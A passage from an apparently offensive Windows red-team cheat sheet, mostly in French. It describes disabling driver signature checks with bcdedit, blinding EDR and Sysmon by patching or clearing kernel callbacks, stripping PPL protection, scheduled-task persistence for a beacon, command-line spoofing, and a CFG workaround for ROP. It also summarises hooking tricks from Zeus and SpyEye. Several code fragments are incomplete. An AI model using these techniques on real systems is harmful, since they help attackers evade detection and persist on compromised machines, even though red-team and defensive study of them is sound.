Les applications en mode utilisateur envoient des IOCTL aux pilotes en appelant DeviceIoControl, décrit dans la documentation du SDK Microsoft Windows. Les appels à DeviceIoControl amènent le gestionnaire d'E/S à créer une requête IRP_MJ_DEVICE_CONTROL et à l'envoyer au pilote situé le plus haut (https://docs.microsoft.com/en-us/windows-hardware/drivers/kernel/introduction-to-i-o-control-codes)
L'application en espace utilisateur doit utiliser la fonction DeviceIoControl (ioapiset.h) pour communiquer avec un pilote.
Elle sera utilisée pour envoyer diverses requêtes à son objet **Device**.
Exemple de code simple ici : //todo
## Signature des pilotes
Comme décrit dans la section [Concepts généraux](#general-concepts), les pilotes doivent être signés avant d'être installés sur un système Windows. Bien qu'il soit nécessaire d'utiliser un exploit de pilote ou de noyau pour la contourner (par exemple la CVE du pilote Gigabyte), vous pouvez toujours la désactiver manuellement :```powershell
bcdedit.exe -set loadoptions DISABLE_INTEGRITY_CHECKS
bcdedit.exe -set TESTSIGNING ON
Redémarrez ensuite votre ordinateur. Évidemment, vous avez besoin des droits d'administrateur local sur la machine sur laquelle vous souhaitez exécuter ces commandes. Comme un redémarrage est nécessaire, ce n'est pas du tout OPSEC.
ObRegisterCallbacks (wdm.h) vous permet de définir des « callbacks » personnalisés qui peuvent être utilisés pour modifier le comportement d'une application en mode utilisateur lorsqu'elle est déclenchée par une opération spécifique, comme CreateProcess/OpenProcess (création de handle).
En gros, les callbacks Ob sont définis avec un tableau OB_OPERATION_REGISTRATION, qui sera rempli avec une structure OB_CALLBACK_REGISTRATION (remplie avec des callbacks).
Exemple pour déclencher sur OpenProcess/CreateProcess :```c OB_OPERATION_REGISTRATION obOperationRegistrationArray[1] = { 0 }; OB_CALLBACK_REGISTRATION obCallbackRegistration = { 0 };
obOperationRegistrationArray[0].ObjectType = PsProcessType; //monitor for handles obOperationRegistrationArray[0].Operations = OB_OPERATION_HANDLE_CREATE | OB_OPERATION_HANDLE_DUPLICATE; //detect created and duplicated handles obOperationRegistrationArray[0].PreOperation = process_ob_pre_op_callbacks; //intercept before the end of the operation with a pointer to a defined function in your own code obOperationRegistrationArray[0].PostOperation = NULL; //do nothing after the operation has been completed
NTSTATUS status_register = ObRegisterCallbacks(&obCallbackRegistration, ®_handle); //register callbacks if (!NT_SUCCESS(status_register)) { DbgPrint("[-] Error while trying to register callbacks\n"); } else {
DbgPrint("[+] Registering callbacks !\n");
}
**process_ob_pre_op_callbacks** est une fonction définie par l'utilisateur qui sera appelée lorsque le callback sera intercepté, et peut donc autoriser ou refuser l'opération.```c
OB_PREOP_CALLBACK_STATUS process_ob_pre_op_callbacks(PVOID registrationContext, POB_PRE_OPERATION_INFORMATION pObPreOperationInformation) {
if (pObPreOperationInformation->KernelHandle) return OB_PREOP_SUCCESS; //if handle is a kernel handle, pass
pObPreOperationInformation->Parameters->CreateHandleInformation.DesiredAccess &= ~My_PROCESS_ALL_ACCESS; //remove PROCESS_ALL_ACCESS from handle
}
Note : My_PROCESS_ALL_ACCESS peut être défini comme #define My_PROCESS_ALL_ACCESS (0x1FFFFF) (code hexa win32).
Comment patcher les ObCallbacks : il existe plusieurs façons de les patcher, mais les deux méthodes probablement les plus courantes pour atteindre cet objectif seraient d'écrire une fonction obcallback avec un schéma du type : « nop-nop-nop-ret », ou d'effacer le pointeur de fonction obcallback des éléments _CALLBACK_ENTRY_ITEM. Veuillez noter que ces techniques peuvent en réalité déclencher PatchGuard, soyez donc attentifs lors de leur utilisation lors d'un engagement réel.
Les callbacks du noyau ont été introduits par Microsoft principalement pour offrir une meilleure manière aux éditeurs d'AV/EDR de surveiller et de prévenir les actions suspectes (avant eux, de nombreux produits de sécurité utilisaient le patching en mode noyau comme les hooks SSDT pour faire le même travail, mais la nouvelle protection PatchGuard les a contraints à utiliser cette nouvelle solution).
Il existe plusieurs types de callbacks du noyau, notamment :
- ProcessNotify : appelé lorsqu'un processus est créé ou se termine.
- ThreadNotify : appelé lorsqu'un thread est créé ou se termine (est supprimé).
- LoadImageNotify : appelé lorsqu'une image exécutable est chargée par un autre exe (exemple : DLL chargée par un processus).
Chacun d'eux possède sa fonction associée, comme PsSetCreateProcessNotifyRoutineEx pour les définir dans votre pilote. Cette dernière enregistre une routine de callback lorsqu'un nouveau processus est créé ou supprimé dans le système Windows. Son prototype est défini comme suit :```cpp NTSTATUS PsSetCreateProcessNotifyRoutineEx( [in] PCREATE_PROCESS_NOTIFY_ROUTINE_EX NotifyRoutine, [in] BOOLEAN Remove );
**PCREATE_PROCESS_NOTIFY_ROUTINE_EX** est un pointeur vers la routine de rappel qui sera appelée lorsque l'événement sera déclenché (ici, création/terminaison de processus).
**Remove** est un simple indicateur qui détermine si PsSetCreateProcessNotify va enregistrer la fonction de rappel ou la supprimer (utile dans la fonction de nettoyage de votre pilote).
La fonction de rappel utilisera ce prototype :```cpp
void OnProcessNotify(
PEPROCESS Process,
HANDLE ProcessId,
PPS_CREATE_NOTIFY_INFO CreateInfo
);
où Process est le processus en cours de création/suppression, ProcessId est l'identifiant de ce processus, et CreateInfo est une structure qui contient diverses informations sur ce processus.
Lorsqu'un pilote enregistre une nouvelle routine de rappel, son adresse sera stockée dans un tableau généralement nommé Pspname_of_your_callback. Par exemple, la liste de toutes les fonctions ProcessNotifyRoutine est stockée dans le tableau PspCreateProcessNotifyRoutine.
Pour supprimer ces rappels, il vous suffira simplement de vider ce tableau !
Malheureusement, il n'existe aucun moyen direct de récupérer l'adresse de ce tableau si passionnant. Heureusement, il existe de nombreuses façons de le faire manuellement, en recherchant certains offsets spécifiques en mémoire.
Une fois que vous avez trouvé la bonne adresse, vous pouvez énumérer tous les rappels enregistrés et les filtrer par nom de pilote (pilote Sysmon peut-être ?:)), puis ne supprimer que les fonctions de rappel correspondantes dans la liste.
Les processus protégés ont été introduits avec Windows Vista. Ils peuvent être définis comme une structure nommée EPROCESS (non documenté : https://learn.microsoft.com/en-us/windows-hardware/drivers/kernel/eprocess) qui définit si le processus est protégé ou non, avec trois membres intéressants :``` kd> dt nt!_EPROCESS +0x000 Pcb : _KPROCESS +0x2d8 ProcessLock : _EX_PUSH_LOCK +0x2e0 UniqueProcessId : Ptr64 Void [...snip...] +0x6c8 SignatureLevel : UChar //signature integrity of exe +0x6c9 SectionSignatureLevel : UChar //Second member : same as first for DLL loaded by the exe +0x6ca Protection : _PS_PROTECTION
Le troisième membre (Protection) est une structure PS_PROTECTION qui est définie comme suit :```
_PS_PROTECTION
+0x000 Level : UChar
+0x000 Type : Pos 0, 3 Bits
+0x000 Audit : Pos 3, 1 Bit
+0x000 Signer : Pos 4, 4 Bits
Pour supprimer la protection PPL, vous devez définir SignatureLevel, SectionSignatureLevel et Protection sur 0.
Comme le décalage entre l'adresse de base d'EPROCESS et PS_PROTECTION est 0x6c8, vous pouvez le récupérer en additionnant les deux valeurs.
Exemple de code : //todo
Remarque : Plusieurs exemples de cette partie ont été récupérés depuis : https://learn.microsoft.com/en-us/windows/win32/taskschd/using-the-task-scheduler?source=recommendations
La manière "conventionnelle" de planifier une tâche sous Windows OS nécessite de passer par l'interface graphique (Planificateur de tâches). Ce n'est pas très pratique pour nous, car nous n'obtenons souvent qu'une session en ligne de commande sur un système compromis.
Heureusement, l'API Win32 peut être utilisée pour créer de telles tâches, ce qui vous permet d'obtenir une excellente persistance pour votre beacon, ou une élévation de privilèges.
En gros, vous devez initialiser la bibliothèque COM, puis créer une nouvelle instance de la classe ITaskService avec l'API CoCreateInstance(). Vous pouvez maintenant modifier votre objet ITaskService pour configurer le dossier racine, l'action, l'heure, etc. Voici un exemple ci-dessous :```cpp /******************************************************************** This sample schedules a task to start Notepad.exe 30 seconds after the system is started. ********************************************************************/
#define _WIN32_DCOM
#include <windows.h> #include #include <stdio.h> #include <comdef.h> // Include the task header file. #include <taskschd.h> #pragma comment(lib, "taskschd.lib") #pragma comment(lib, "comsupp.lib")
using namespace std;
int __cdecl wmain() { // ------------------------------------------------------ // Initialize COM. HRESULT hr = CoInitializeEx(NULL, COINIT_MULTITHREADED); if( FAILED(hr) ) { printf("\nCoInitializeEx failed: %x", hr ); return 1; }
// Set general COM security levels.
hr = CoInitializeSecurity(
NULL,
-1,
NULL,
NULL,
RPC_C_AUTHN_LEVEL_PKT_PRIVACY,
RPC_C_IMP_LEVEL_IMPERSONATE,
NULL,
0,
NULL);
if( FAILED(hr) )
{
printf("\nCoInitializeSecurity failed: %x", hr );
CoUninitialize();
return 1;
}
// ------------------------------------------------------
// Create a name for the task.
LPCWSTR wszTaskName = L"Boot Trigger Test Task";
// Get the Windows directory and set the path to Notepad.exe.
wstring wstrExecutablePath = _wgetenv( L"WINDIR");
wstrExecutablePath += L"\\SYSTEM32\\NOTEPAD.EXE";
// ------------------------------------------------------
// Create an instance of the Task Service.
ITaskService *pService = NULL;
hr = CoCreateInstance( CLSID_TaskScheduler,
NULL,
CLSCTX_INPROC_SERVER,
IID_ITaskService,
(void**)&pService );
if (FAILED(hr))
{
printf("Failed to create an instance of ITaskService: %x", hr);
CoUninitialize();
return 1;
}
// Connect to the task service.
hr = pService->Connect(_variant_t(), _variant_t(),
_variant_t(), _variant_t());
if( FAILED(hr) )
{
printf("ITaskService::Connect failed: %x", hr );
pService->Release();
CoUninitialize();
return 1;
}
// ------------------------------------------------------
// Get the pointer to the root task folder.
// This folder will hold the new task that is registered.
ITaskFolder *pRootFolder = NULL;
hr = pService->GetFolder( _bstr_t( L"\\") , &pRootFolder );
if( FAILED(hr) )
{
printf("Cannot get Root Folder pointer: %x", hr );
pService->Release();
CoUninitialize();
return 1;
}
// If the same task exists, remove it.
pRootFolder->DeleteTask( _bstr_t( wszTaskName), 0 );
// Create the task builder object to create the task.
ITaskDefinition *pTask = NULL;
hr = pService->NewTask( 0, &pTask );
pService->Release(); // COM clean up. Pointer is no longer used.
if (FAILED(hr))
{
printf("Failed to create a task definition: %x", hr);
pRootFolder->Release();
CoUninitialize();
return 1;
}
// ------------------------------------------------------
// Get the registration info for setting the identification.
IRegistrationInfo *pRegInfo= NULL;
hr = pTask->get_RegistrationInfo( &pRegInfo );
if( FAILED(hr) )
{
printf("\nCannot get identification pointer: %x", hr );
pRootFolder->Release();
pTask->Release();
CoUninitialize();
return 1;
}
hr = pRegInfo->put_Author(L"Author Name");
pRegInfo->Release();
if( FAILED(hr) )
{
printf("\nCannot put identification info: %x", hr );
pRootFolder->Release();
pTask->Release();
CoUninitialize();
return 1;
}
// ------------------------------------------------------
// Create the settings for the task
ITaskSettings *pSettings = NULL;
hr = pTask->get_Settings( &pSettings );
if( FAILED(hr) )
{
printf("\nCannot get settings pointer: %x", hr );
pRootFolder->Release();
pTask->Release();
CoUninitialize();
return 1;
}
// Set setting values for the task.
hr = pSettings->put_StartWhenAvailable(VARIANT_TRUE);
pSettings->Release();
if( FAILED(hr) )
{
printf("\nCannot put setting info: %x", hr );
pRootFolder->Release();
pTask->Release();
CoUninitialize();
return 1;
}
// ------------------------------------------------------
// Get the trigger collection to insert the boot trigger.
ITriggerCollection *pTriggerCollection = NULL;
hr = pTask->get_Triggers( &pTriggerCollection );
if( FAILED(hr) )
{
printf("\nCannot get trigger collection: %x", hr );
pRootFolder->Release();
pTask->Release();
CoUninitialize();
return 1;
}
// Add the boot trigger to the task.
ITrigger *pTrigger = NULL;
hr = pTriggerCollection->Create( TASK_TRIGGER_BOOT, &pTrigger );
pTriggerCollection->Release();
if( FAILED(hr) )
{
printf("\nCannot create the trigger: %x", hr );
pRootFolder->Release();
pTask->Release();
CoUninitialize();
return 1;
}
IBootTrigger *pBootTrigger = NULL;
hr = pTrigger->QueryInterface(
IID_IBootTrigger, (void**) &pBootTrigger );
pTrigger->Release();
if( FAILED(hr) )
{
printf("\nQueryInterface call failed for IBootTrigger: %x", hr );
pRootFolder->Release();
pTask->Release();
CoUninitialize();
return 1;
}
hr = pBootTrigger->put_Id( _bstr_t( L"Trigger1" ) );
if( FAILED(hr) )
printf("\nCannot put the trigger ID: %x", hr);
// Set the task to start at a certain time. The time
// format should be YYYY-MM-DDTHH:MM:SS(+-)(timezone).
// For example, the start boundary below
// is January 1st 2005 at 12:05
hr = pBootTrigger->put_StartBoundary( _bstr_t(L"2005-01-01T12:05:00") );
if( FAILED(hr) )
printf("\nCannot put the start boundary: %x", hr);
hr = pBootTrigger->put_EndBoundary( _bstr_t(L"2015-05-02T08:00:00") );
if( FAILED(hr) )
printf("\nCannot put the end boundary: %x", hr);
// Delay the task to start 30 seconds after system start.
hr = pBootTrigger->put_Delay( L"PT30S" );
pBootTrigger->Release();
if( FAILED(hr) )
{
printf("\nCannot put delay for boot trigger: %x", hr );
pRootFolder->Release();
pTask->Release();
CoUninitialize();
return 1;
}
// ------------------------------------------------------
// Add an Action to the task. This task will execute Notepad.exe.
IActionCollection *pActionCollection = NULL;
// Get the task action collection pointer.
hr = pTask->get_Actions( &pActionCollection );
if( FAILED(hr) )
{
printf("\nCannot get Task collection pointer: %x", hr );
pRootFolder->Release();
pTask->Release();
CoUninitialize();
return 1;
}
// Create the action, specifying it as an executable action.
IAction *pAction = NULL;
hr = pActionCollection->Create( TASK_ACTION_EXEC, &pAction );
pActionCollection->Release();
if( FAILED(hr) )
{
printf("\nCannot create the action: %x", hr );
pRootFolder->Release();
pTask->Release();
CoUninitialize();
return 1;
}
IExecAction *pExecAction = NULL;
// QI for the executable task pointer.
hr = pAction->QueryInterface(
IID_IExecAction, (void**) &pExecAction );
pAction->Release();
if( FAILED(hr) )
{
printf("\nQueryInterface call failed for IExecAction: %x", hr );
pRootFolder->Release();
pTask->Release();
CoUninitialize();
return 1;
}
// Set the path of the executable to Notepad.exe.
hr = pExecAction->put_Path( _bstr_t( wstrExecutablePath.c_str() ) );
pExecAction->Release();
if( FAILED(hr) )
{
printf("\nCannot set path of executable: %x", hr );
pRootFolder->Release();
pTask->Release();
CoUninitialize();
return 1;
}
// ------------------------------------------------------
// Save the task in the root folder.
IRegisteredTask *pRegisteredTask = NULL;
VARIANT varPassword;
varPassword.vt = VT_EMPTY;
hr = pRootFolder->RegisterTaskDefinition(
_bstr_t( wszTaskName ),
pTask,
TASK_CREATE_OR_UPDATE,
_variant_t(L"Local Service"),
varPassword,
TASK_LOGON_SERVICE_ACCOUNT,
_variant_t(L""),
&pRegisteredTask);
if( FAILED(hr) )
{
printf("\nError saving the Task : %x", hr );
pRootFolder->Release();
pTask->Release();
CoUninitialize();
return 1;
}
printf("\n Success! Task successfully registered. " );
// Clean up.
pRootFolder->Release();
pTask->Release();
pRegisteredTask->Release();
CoUninitialize();
return 0;
}
## Command line spoofing
Works perfectly even with sysmon/process hacker monitoring; it enables the ability to hide your command args, which can be useful in pentest/red team ops (```powershell -enc .....```)
To achieve that objective, you can spawn a new process with "legit" command args in supended mode, then edit these args directly in PEB.
Poc : https://github.com/NVISOsecurity/blogposts/blob/master/examples-commandlinespoof/Example%203%20-%20CMD%20spawn%20with%20fake%20procexp%20args/code.cpp
# Misc Stuff
## x64 Calling Convention
- First 4 integer arguments are passed in registers `RCX`, `RDX`, `R8`, and `R9`.
- Additional arguments are pushed onto the stack.
- The return address is followed by a 32-byte area reserved for `RCX`, `RDX`, `R8`, and `R9`.
- Local variables and non-volatile registers are stored above the return address.
- `RBP` is not used to reference local variables/function arguments, and `RSP` remains constant throughout the function.
> Notes:
> - If a function has a variable number of arguments, it must use the stack to pass them
> - If the return value is a structure, then the caller is responsible for allocating space for the return value and passing a pointer to that space as the first argument
> - The callee is responsible for preserving the values of the `RBX`, `RBP`, and `R12`–`R15` registers, but may freely modify the other registers
> - The stack is aligned to a 16-byte boundary at the call site
> - The callee is responsible for restoring the stack pointer (`RSP`) to its original value before returning
## Indirect Execution
Indirect Execution here refers to a ROP to achieve the execution of some tasks, you will need to add parameters to the right register, you must understand [x64 calling convention](https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet#x64-calling-convention) for that.
- ROP with `CONTEXT` structure will need `RtlCaptureContext` to retrieve the current context and `NtContinue` to continue the execution of the ROP with `CONTEXT` struct as parameter filled with the right function arguments to the right registers. You can also build your ROP in assembly if you want.
### CFG Bypass with SetProcessValidCallTargets
This is not a real bypass but it'll whitelist the function you're using in your ROP (i.e. `NtContinue`)```c
CFG_CALL_TARGET_INFO Cfg = { 0 };
Cfg.Offset = ( ULONG_PTR )pAddress - ( ULONG_PTR )Mbi.BaseAddress;
Cfg.Flags = CFG_CALL_TARGET_VALID;
SetProcessValidCallTargets( ( HANDLE )-1, Mbi.BaseAddress, Mbi.RegionSize, 1, &Cfg );
Cette technique a été découverte dans le malware bien connu Emotet. Pour générer un nouveau processus powershell (destiné à exécuter une charge utile), il utilise l'API COM avec une instance WMI. Grâce à cette astuce, le processus powershell est créé comme processus enfant du processus WMIPrvSE, ce qui est bien moins suspect que d'être lancé par un exe suspect ou même un fichier Word.
Le malware Zeus, bien connu, utilise une astuce assez ingénieuse pour cacher ses journaux (frappes clavier, mots de passe, etc.) dans le système compromis. Il hooke la fonction NtQueryDirectoryFile() pour filtrer les résultats affichés.```cpp
typedef struct _FILE_NAMES_INFORMATION {
ULONG NextEntryOffset;
ULONG FileIndex;
ULONG FileNameLength;
WCHAR FileName[1];
} FILE_NAMES_INFORMATION, *PFILE_NAMES_INFORMATION;
if (file_matches) {
// Check for end of list if (pCurrentFileNames->NextEntryOffset == 0) { // Hide current file if (pPrev) pPrevFileNames->NextEntryOffset = 0; else return STATUS_NO_SUCH_FILE;
Source : https://ioactive.com/pdfs/ZeusSpyEyeBankingTrojanAnalysis.pdf
## Technique de hooking du keylogger SpyEye
Le malware SpyEye accroche la fonction ```TranslateMessage()``` pour enregistrer les frappes clavier : la procédure de hook utilise la fonction ```GetKeyboardState``` pour ajouter le caractère tapé à un buffer de 20000 octets.
Source : https://ioactive.com/pdfs/ZeusSpyEyeBankingTrojanAnalysis.pdf
## KillSwitch de Wannacry
Le rançongiciel Wannacry utilisait une URL killswitch qui était résolue avant l'exécution du payload principal. Une fois ce domaine enregistré, tous les échantillons Wannacry ont été désactivés. Cette technique a été décrite ici : https://www.malwaretech.com/2017/05/how-to-accidentally-stop-a-global-cyber-attacks.html
Fun fact: ce domaine était en clair, sans aucune obfuscation. Assez drôle:)